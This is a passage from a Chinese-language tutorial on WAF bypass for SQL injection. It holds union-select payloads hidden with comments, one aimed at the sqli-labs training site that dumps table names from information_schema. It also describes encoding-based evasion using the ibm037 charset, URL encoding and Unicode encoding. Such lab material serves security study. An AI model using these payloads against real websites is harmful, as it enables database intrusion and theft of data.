?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+
```
![image.png](02.SQL注入绕过/1677738693054-f722deae-c1cd-499a-81e4-26dec3dca69b.png)
POST型
选用sqllib第11关
使用命令:
```sql
uname=' union select
/*
sdf
123456789
qwejiknklfnaltkkoi
*/(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit
```
![image.png](02.SQL注入绕过/1677738846693-3a165f88-33fd-432e-8eb2-4200e58e341b.png)
规则中使用多行匹配模式依然可以检查出攻击。很多时候,基于性能考虑,规则没有使用多行匹配模式。导致存在绕过的可能。
## 32. HTTP 数据编码绕过
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过。
比如请求包中我们可以把Content-Type中的charset的参数值改为ibm037这个协议编码有些服务器是支持的。
![image.png](02.SQL注入绕过/1677738958614-82b5e123-fe78-475c-a67f-fe3c2d1a18f9.png)
![image.png](02.SQL注入绕过/1677739072838-cab23c9b-794a-429c-9656-0dd67ff2c9eb.png)
## 33. URL编码绕过★★★★★
对字符做URL编码。
![image.png](02.SQL注入绕过/1677739189294-4d7130ad-df85-4e7e-94b2-2803876166f6.png)
![image.png](02.SQL注入绕过/1677739274199-71ce3b9c-c2ec-4a50-ac18-17f4fe3f0f19.png)
## 34. Unicode 编码绕过★★★★★
把payload转为unicode编码
![image.png](02.SQL注入绕过/1677739451308-a1bfb7ce-958f-4ee9-878f-dbff3c4f5572.png)
![image-20250604122129712](02.SQL注入绕过/image-20250604122129712.png)